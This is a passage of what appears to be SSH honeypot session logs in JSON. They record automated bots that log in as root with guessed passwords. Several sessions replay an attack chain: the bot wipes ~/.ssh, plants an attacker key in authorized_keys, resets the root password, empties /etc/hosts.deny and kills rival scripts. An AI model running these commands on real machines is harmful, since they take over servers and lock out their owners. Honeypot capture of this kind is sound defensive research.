.ssh"},{"seq":2,"at":"2026-08-26T13:17:45.929722+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:17:53.533562+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:17:54.368517+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:17:56.099002+00:00","kind":"input","latency_ms":null,"data":"echo \"root:UXWUVavbZXm0\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:17:57.807074+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:17:58.899265+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:17:59.673379+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:18:00.601177+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:18:01.947353+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:18:04.698786+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:18:05.627621+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:18:06.697850+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:18:07.140145+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:18:08.019238+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:18:08.754112+00:00","kind":"output","latency_ms":null,"data":" 13:18:08 up 6 days, 10:08, 0 user, load average: 0.1, 0.11, 0.06\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:18:10.694990+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:18:10.953598+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:18:11.906220+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:18:12.723234+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:18:15.196416+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:18:16.064335+00:00","kind":"output","latency_ms":null,"data":"top - 13:18:16 up 6 days, 10:08, 0 user, load average: 0.1, 0.11, 0.06\nTasks: 107 total, 1 running, 106 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:18:16.938483+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:18:17.737717+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:18:18.638535+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:18:18.895150+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:18:19.811064+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:18:20.354634+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:18:21.255228+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:18:22.414827+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:18:24.165216+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:18:25.663232+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"QAZwsx!@#123","method":"password","accepted":true,"tier":"other"}]} {"id":"58ec68b0-2d8e-47db-82e7-e9be3fb08e6a","name":"electric-glassy-linnet","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50306,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:17:51.899115+00:00","ended_at":"2026-08-26T13:17:53.255274+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"3e4f1ebd-f4da-4f98-8b61-05069f6f8749","name":"burly-noble-martin","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50296,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:17:48.009184+00:00","ended_at":"2026-08-26T13:17:50.098931+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"00394236-bcb6-4a9b-af1f-1c221f8e2a22","name":"faded-muted-grebe","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":50090,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1167,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:15:06.296677+00:00","ended_at":"2026-08-26T13:15:08.206951+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:14:27.406114+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:14:28.338205+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:14:38.202798+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:14:39.076182+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:14:40.002697+00:00","kind":"input","latency_ms":null,"data":"echo \"root:HpOm6lYPCvqf\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:14:40.919365+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-26T13:14:41.798958+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-26T13:14:42.217092+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-26T13:14:43.113051+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-26T13:14:44.474422+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-26T13:14:45.540559+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-26T13:14:46.854393+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-26T13:14:48.705059+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-26T13:14:49.107574+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-26T13:14:50.819841+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-26T13:14:51.459583+00:00","kind":"output","latency_ms":null,"data":" 13:14:51 up 6 days, 10:04, 0 user, load average: 0.14, 0.11, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-26T13:14:53.120210+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-26T13:14:53.651016+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-26T13:14:55.222717+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-26T13:14:55.963927+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-26T13:14:57.699730+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-26T13:14:58.292519+00:00","kind":"output","latency_ms":null,"data":"top - 13:14:58 up 6 days, 10:05, 0 user, load average: 0.14, 0.11, 0.12\nTasks: 119 total, 1 running, 118 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7308 free, 8579 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-26T13:15:00.011061+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-26T13:15:00.295621+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-26T13:15:01.202091+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-26T13:15:01.492586+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-26T13:15:02.400467+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-26T13:15:02.725751+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-26T13:15:03.626076+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-26T13:15:05.129620+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-26T13:15:06.297695+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-26T13:15:07.636097+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"Zx123456","method":"password","accepted":true,"tier":"other"}]} {"id":"b2f4c7e1-9894-4dd8-8206-d3e798c1c3d2","name":"diligent-solemn-ocelot","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50106,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:14:35.204805+00:00","ended_at":"2026-08-26T13:14:37.902542+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"bf8541d2-2f43-4266-bef4-cb02768ffb56","name":"ashen-wooded-dormouse","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":50098,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:14:31.630799+00:00","ended_at":"2026-08-26T13:14:32.955032+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"08b1ed45-b4fb-4c63-9613-aaea3cbca3b7","name":"murky-wandering-cassowary","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49888,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":1202,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:11:42.028828+00:00","ended_at":"2026-08-26T13:11:47.309219+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-26T13:11:10.099063+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:11:11.055764+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:11:21.000232+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:11:21.000934+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:11:22.203157+00:00","kind":"input","latency_ms":null,"data":"echo \"root:ZNiuR0h6GNNi\"|chpasswd|bash"},{"seq":6,"at":"2026-08-26T13:11:22.804148+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T13:11:23.401275+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":8,"at":"2026-08-26T13:11:24.323312+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T13:11:24.323882+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:11:25.224079+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:11:25.712940+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:11:28.065098+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:11:28.656651+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:11:29.552643+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:11:29.554248+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:11:31.234765+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:11:31.235199+00:00","kind":"output","latency_ms":null,"data":" 13:11:31 up 6 days, 10:01, 0 user, load average: 0.23, 0.18, 0.16\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:11:33.205453+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:11:33.206029+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:11:34.413083+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:11:34.415063+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:11:35.612082+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:11:35.614058+00:00","kind":"output","latency_ms":null,"data":"top - 13:11:35 up 6 days, 10:01, 0 user, load average: 0.23, 0.18, 0.16\nTasks: 104 total, 1 running, 103 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8261 free, 7626 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:11:36.804526+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:11:36.804936+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:11:38.017019+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:11:38.017483+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-26T13:11:39.211964+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-26T13:11:39.212560+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-26T13:11:40.128744+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-26T13:11:40.707579+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-26T13:11:42.029578+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-26T13:11:42.633625+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"letmein@123","method":"password","accepted":true,"tier":"other"}]} {"id":"d68a9fb4-5569-47a8-a384-5dffce4837a0","name":"downy-merry-polecat","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49910,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:11:19.207992+00:00","ended_at":"2026-08-26T13:11:20.701235+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"08d746d4-5f6f-4ee7-a7d3-ab3efbe690a8","name":"curious-marbled-galago","protocol":"ssh","channel_kind":null,"src_ip":"103.167.89.222","src_port":49898,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-26T13:11:16.153058+00:00","ended_at":"2026-08-26T13:11:17.450656+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"38df8a4e-f332-4892-a793-66dae3d31645","name":"shaded-sincere-merlin","protocol":"ssh","channel_kind":"exec","src_ip":"103.167.89.222","src_port":49686,"username":"student","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":922,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-26T13:08:30.023318+00:00","ended_at":"2026-08-26T13:08:31.647250+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2258,"events":[{"seq":1,"at":"2026-08-26T13:07:56.729761+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-26T13:07:57.624374+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-26T13:08:09.043102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-26T13:08:09.043554+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-26T13:08:09.953553+00:00","kind":"input","latency_ms":null,"data":"echo -e \"password\\nyVPXDYzkcHol\\nyVPXDYzkcHol\"|passwd|bash"},{"seq":6,"at":"2026-08-26T13:08:10.527436+00:00","kind":"output","latency_ms":null,"data":""},{"seq":7,"at":"2026-08-26T13:08:11.132238+00:00","kind":"input","latency_ms":null,"data":"echo \"password\\nyVPXDYzkcHol\\nyVPXDYzkcHol\\n\"|passwd"},{"seq":8,"at":"2026-08-26T13:08:12.030689+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":9,"at":"2026-08-26T13:08:12.031071+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-26T13:08:12.952616+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-26T13:08:13.497653+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-26T13:08:14.427924+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-26T13:08:15.721625+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-26T13:08:16.598421+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-26T13:08:16.598894+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-26T13:08:17.939228+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-26T13:08:17.939919+00:00","kind":"output","latency_ms":null,"data":" 13:08:17 up 6 days, 9:58, 0 user, load average: 0.12, 0.09, 0.12\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-26T13:08:18.840846+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-26T13:08:18.841288+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-26T13:08:19.739888+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-26T13:08:19.740512+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-26T13:08:20.632477+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-26T13:08:20.633173+00:00","kind":"output","latency_ms":null,"data":"top - 13:08:20 up 6 days, 9:58, 0 user, load average: 0.12, 0.09, 0.12\nTasks: 121 total, 1 running, 120 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9373 free, 6514 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-26T13:08:21.543672+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-26T13:08:21.544154+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-26T13:08:23.300496+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-26T13:08:23.300797+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 